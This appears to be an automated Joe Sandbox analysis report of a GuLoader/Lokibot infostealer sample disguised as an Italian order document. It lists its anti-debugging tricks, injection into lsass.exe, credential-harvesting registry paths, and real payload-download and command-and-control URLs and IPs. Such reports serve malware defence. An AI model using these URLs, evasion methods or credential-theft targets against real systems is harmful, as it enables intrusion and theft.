Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238039182344.0000000000734000.00000004.00000020.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866850076.0000000002430000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=HTTPS://FABRICRAFT.CO.ZA/FARMANT_HHVNWJNA195.BIN
Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238041116904.00000000031A0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=WINDIR=\SYSWOW64\MSVBVM60.DLL

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe TID: 3304	Thread sleep count: 335 > 30
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe TID: 3304	Thread sleep time: -20100000s >= -30000s

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Code function: 2_2_0227B36F rdtsc

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Thread delayed: delay time: 60000

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

System information queried: ModuleInformation

Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238041179832.0000000003269000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866912465.00000000024F9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: lsass.exe, 0000000C.00000000.238321436312.000001896A6B0000.00000004.00000001.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238041116904.00000000031A0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=windir=\syswow64\msvbvm60.dll
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866850076.0000000002430000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=https://fabricraft.co.za/Farmant_hhVNwJna195.bin
Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238041179832.0000000003269000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866912465.00000000024F9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: lsass.exe, 0000000C.00000000.238321436312.000001896A6B0000.00000004.00000001.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866912465.00000000024F9000.00000004.00000001.sdmp	Binary or memory string: vmicshutdown
Source: lsass.exe, 0000000C.00000000.238334385048.000001896B043000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242869451561.000001896B047000.00000004.00000001.sdmp	Binary or memory string: DOMAINS\Builtin\Aliases\Names\Hyper-V Administrators
Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238041179832.0000000003269000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866912465.00000000024F9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238041179832.0000000003269000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866912465.00000000024F9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238041179832.0000000003269000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866912465.00000000024F9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866912465.00000000024F9000.00000004.00000001.sdmp	Binary or memory string: vmicvss
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864964902.00000000008DB000.00000004.00000020.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864836413.00000000008D1000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: lsass.exe, 0000000C.00000000.238321436312.000001896A6B0000.00000004.00000001.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238041116904.00000000031A0000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866850076.0000000002430000.00000004.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864292480.000000000087C000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAWp7
Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238041179832.0000000003269000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866912465.00000000024F9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238041179832.0000000003269000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866912465.00000000024F9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238041179832.0000000003269000.00000004.00000001.sdmp, ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866912465.00000000024F9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: ORDINE + DDT A.M.F SpA.exe, 00000002.00000002.238039182344.0000000000734000.00000004.00000020.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866912465.00000000024F9000.00000004.00000001.sdmp	Binary or memory string: vmicheartbeat
Source: lsass.exe, 0000000C.00000002.242864168995.000001896A613000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311349709.000001896A613000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330424875.000001896A613000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Thread information set: HideFromDebugger

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Code function: 2_2_0227B36F rdtsc

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227ADAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227A66D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227BE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227BE7D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_0227536A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_022757CF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02275822 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02275802 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Code function: 2_2_02277DAD mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process queried: DebugPort
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Code function: 2_2_02279224 LdrInitializeThunk,

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Memory written: C:\Windows\System32\lsass.exe base: 1896A5B0000
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Memory written: C:\Windows\System32\lsass.exe base: 1896B540000

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 1896A5B0000 protect: page execute and read and write
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 1896B540000 protect: page execute and read and write

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Thread created: C:\Windows\System32\lsass.exe EIP: 6A5B0000

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Process created: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe "C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe"

Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866195652.0000000000FF0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866195652.0000000000FF0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866195652.0000000000FF0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242866195652.0000000000FF0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected Lokibot

Show sources

Source: Yara match

File source: Process Memory Space: ORDINE + DDT A.M.F SpA.exe PID: 8108, type: MEMORYSTR

GuLoader behavior detected

Show sources

Source: Initial file

Signature Results: GuLoader behavior

Tries to steal Mail credentials (via file / registry access)

Show sources

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Remote Access Functionality:

Yara detected Lokibot

Show sources

Source: Yara match

File source: Process Memory Space: ORDINE + DDT A.M.F SpA.exe PID: 8108, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	DLL Side-Loading1	Process Injection312	Masquerading1	OS Credential Dumping2	Security Software Discovery321	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	DLL Side-Loading1	Virtualization/Sandbox Evasion221	Credentials in Registry1	Process Discovery2	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection312	Security Account Manager	Virtualization/Sandbox Evasion221	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Non-Application Layer Protocol4	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information1	NTDS	System Information Discovery4	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol115	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ORDINE + DDT A.M.F SpA.exe	22%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
farmanat.ro	11%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://farmanat.ro/arman30/five/fre.php	12%	Virustotal		Browse
https://farmanat.ro/arman30/five/fre.php	100%	Avira URL Cloud	malware
http://farmanat.ro/arman30/five/fre.php	11%	Virustotal		Browse
http://farmanat.ro/arman30/five/fre.php	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fabricraft.co.za	197.242.150.64	true	false		high
farmanat.ro	176.223.209.128	true	true	11%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://farmanat.ro/arman30/five/fre.php	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://fabricraft.co.za/Farmant_hhVNwJna195.bin	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864624945.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330748569.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311677134.000001896A64F000.00000004.00000001.sdmp	false		high
https://fabricraft.co.za/	ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864292480.000000000087C000.00000004.00000020.sdmp	false		high
https://fabricraft.co.za/Farmant_hhVNwJna195.binn	ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864292480.000000000087C000.00000004.00000020.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	false		high
https://fabricraft.co.za/.	ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864292480.000000000087C000.00000004.00000020.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	false		high
https://farmanat.ro/arman30/five/fre.php	ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864836413.00000000008D1000.00000004.00000020.sdmp	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/wsdl/soap12/P	lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	false		high
http://www.live.com	lsass.exe, 0000000C.00000002.242865373813.000001896A6B0000.00000004.00000001.sdmp	false		high
http://www.msn.com	lsass.exe, 0000000C.00000002.242865373813.000001896A6B0000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 0000000C.00000002.242864624945.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330748569.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311677134.000001896A64F000.00000004.00000001.sdmp	false		high
https://fabricraft.co.za/Farmant_hhVNwJna195.binws;	ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864292480.000000000087C000.00000004.00000020.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 0000000C.00000002.242864624945.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238330748569.000001896A64F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311677134.000001896A64F000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 0000000C.00000000.238330579138.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000002.242864361281.000001896A62F000.00000004.00000001.sdmp, lsass.exe, 0000000C.00000000.238311500660.000001896A62F000.00000004.00000001.sdmp	false		high
https://fabricraft.co.za/Farmant_hhVNwJna195.binc	ORDINE + DDT A.M.F SpA.exe, 00000008.00000002.242864292480.000000000087C000.00000004.00000020.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
176.223.209.128	farmanat.ro	United Kingdom		39756	ROHOSTWAY-ASRO	true
197.242.150.64	fabricraft.co.za	South Africa		37611	AfrihostZA	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	528460
Start date:	25.11.2021
Start time:	10:45:15
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 4s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	ORDINE + DDT A.M.F SpA.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/5@3/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe HTTP Packets have been reduced TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 20.82.19.171, 20.54.122.82 Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, wd-prod-cp-eu-north-1-fe.northeurope.cloudapp.azure.com, client.wns.windows.com, wdcpalt.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, wd-prod-cp-eu-west-2-fe.westeurope.cloudapp.azure.com, img-prod-cms-rt-microsoft-com.akamaized.net, wdcp.microsoft.com, arc.msn.com, wd-prod-cp.trafficmanager.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:48:01	API Interceptor	876x Sleep call for process: ORDINE + DDT A.M.F SpA.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
176.223.209.128	ATTACHMENT 6637268#Hydro tech BG_pdf.exe	Get hash	malicious	Browse	farmanat.ro/arman30/five/fre.php
	ARRIVAL NOTICE DHL Code Nr 4622256860_pdf.exe	Get hash	malicious	Browse	farmanat.ro/arman30/five/fre.php
	Richiesta di quotazione ISCOTRANS SPA Nr.5653.exe	Get hash	malicious	Browse	farmanat.ro/arman30/five/fre.php
	Nr_ SOFIA_587646211152021.exe	Get hash	malicious	Browse	farmanat.ro/arman30/five/fre.php
	SOFIA_BG PROJECT Nr_534427355.exe	Get hash	malicious	Browse	farmanat.ro/farm/five/fre.php
	Arimar International Spa Ordine Urgente Nr. 67754#11_3_2021_pdf.exe	Get hash	malicious	Browse	farmanat.ro/farm/five/fre.php
	SecuriteInfo.com.Trojan.GenericKD.47258968.7621.exe	Get hash	malicious	Browse	farmanat.ro/farm/five/fre.php
	PO_W4420211025#BULGARIA SAINT GOBAIN.exe	Get hash	malicious	Browse	farmanat.ro/farm/five/fre.php
	PO_W4420211025#BULGARIA SAINT GOBAIN.exe	Get hash	malicious	Browse	farmanat.ro/farm/five/fre.php
	Progetto Plastisavio S.p.A. 19_10_2021_pdf.exe	Get hash	malicious	Browse	farmanat.ro/farm/five/fre.php
	Schenker Italiana S.p.A. CW305.exe	Get hash	malicious	Browse	farmanat.ro/farm/five/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
farmanat.ro	ATTACHMENT 6637268#Hydro tech BG_pdf.exe	Get hash	malicious	Browse	176.223.209.128
	ARRIVAL NOTICE DHL Code Nr 4622256860_pdf.exe	Get hash	malicious	Browse	176.223.209.128
	Richiesta di quotazione ISCOTRANS SPA Nr.5653.exe	Get hash	malicious	Browse	176.223.209.128
	Nr_ SOFIA_587646211152021.exe	Get hash	malicious	Browse	176.223.209.128
	SOFIA_BG PROJECT Nr_534427355.exe	Get hash	malicious	Browse	176.223.209.128
	Arimar International Spa Ordine Urgente Nr. 67754#11_3_2021_pdf.exe	Get hash	malicious	Browse	176.223.209.128
	SecuriteInfo.com.Trojan.GenericKD.47258968.7621.exe	Get hash	malicious	Browse	176.223.209.128
	PO_W4420211025#BULGARIA SAINT GOBAIN.exe	Get hash	malicious	Browse	176.223.209.128
	PO_W4420211025#BULGARIA SAINT GOBAIN.exe	Get hash	malicious	Browse	176.223.209.128
	Progetto Plastisavio S.p.A. 19_10_2021_pdf.exe	Get hash	malicious	Browse	176.223.209.128
	Schenker Italiana S.p.A. CW305.exe	Get hash	malicious	Browse	176.223.209.128
	SecuriteInfo.com.__vbaHresultCheckObj.9268.exe	Get hash	malicious	Browse	176.223.209.128

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AfrihostZA	oQANZnrt9d	Get hash	malicious	Browse	169.35.135.240
	Akiru.arm7	Get hash	malicious	Browse	169.66.132.25
	Akiru.arm	Get hash	malicious	Browse	169.121.9.247
	HLiQSIwlY7	Get hash	malicious	Browse	169.79.178.207
	aZsszSGIEV	Get hash	malicious	Browse	169.127.19.203
	2Mxp7Z86k3	Get hash	malicious	Browse	169.222.34.97
	sora.x86	Get hash	malicious	Browse	169.74.42.79
	c0az1l4js3001lsk4xd9n.x86-20211124-0850	Get hash	malicious	Browse	169.166.190.64
	x86_64-20211124-0649	Get hash	malicious	Browse	169.74.152.242
	arm-20211124-0649	Get hash	malicious	Browse	169.168.89.229
	sora.arm-20211123-2050	Get hash	malicious	Browse	169.222.83.73
	zxIlLJKauk	Get hash	malicious	Browse	169.114.115.195
	6PZ6S2YGPB	Get hash	malicious	Browse	169.164.169.154
	DkTfOvsiCR	Get hash	malicious	Browse	169.82.147.51
	RpcSecurity.arm	Get hash	malicious	Browse	169.184.22.186
	KKveTTgaAAsecNNaaaa.x86-20211122-0650	Get hash	malicious	Browse	169.107.15.33
	eh.x86	Get hash	malicious	Browse	165.255.192.210
	g2ZhDilVO3	Get hash	malicious	Browse	169.225.110.154
	TikNgaeW5G	Get hash	malicious	Browse	169.66.107.25
	Hilix.arm	Get hash	malicious	Browse	169.76.1.149
ROHOSTWAY-ASRO	ATTACHMENT 6637268#Hydro tech BG_pdf.exe	Get hash	malicious	Browse	176.223.209.128
	ARRIVAL NOTICE DHL Code Nr 4622256860_pdf.exe	Get hash	malicious	Browse	176.223.209.128
	Richiesta di quotazione ISCOTRANS SPA Nr.5653.exe	Get hash	malicious	Browse	176.223.209.128
	Nr_ SOFIA_587646211152021.exe	Get hash	malicious	Browse	176.223.209.128
	SOFIA_BG PROJECT Nr_534427355.exe	Get hash	malicious	Browse	176.223.209.128
	Arimar International Spa Ordine Urgente Nr. 67754#11_3_2021_pdf.exe	Get hash	malicious	Browse	176.223.209.128
	SecuriteInfo.com.Trojan.GenericKD.47258968.7621.exe	Get hash	malicious	Browse	176.223.209.128
	PO_W4420211025#BULGARIA SAINT GOBAIN.exe	Get hash	malicious	Browse	176.223.209.128
	PO_W4420211025#BULGARIA SAINT GOBAIN.exe	Get hash	malicious	Browse	176.223.209.128
	Progetto Plastisavio S.p.A. 19_10_2021_pdf.exe	Get hash	malicious	Browse	176.223.209.128
	Schenker Italiana S.p.A. CW305.exe	Get hash	malicious	Browse	176.223.209.128
	SecuriteInfo.com.__vbaHresultCheckObj.9268.exe	Get hash	malicious	Browse	176.223.209.128
	118937279-112134-sanlccjavap0003-60.exe	Get hash	malicious	Browse	176.223.208.10
	171021434-045230-sanlccjavap0003-10004.exe	Get hash	malicious	Browse	176.223.208.10
	6fbb325e_by_Libranalysis.exe	Get hash	malicious	Browse	176.223.208.10
	PE001163862782-11737929013-93891812PDF.exe	Get hash	malicious	Browse	176.223.208.10
	Em anexo esta a Fatura Proforma.exe	Get hash	malicious	Browse	176.223.209.5
	69P.O 2315_PDF.exe	Get hash	malicious	Browse	84.40.5.143
	40INVOICE BTS_Pdf.exe	Get hash	malicious	Browse	84.40.5.143
	17Bill of lading Status_pdf.exe	Get hash	malicious	Browse	84.40.5.143

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	mal1.html	Get hash	malicious	Browse	197.242.150.64
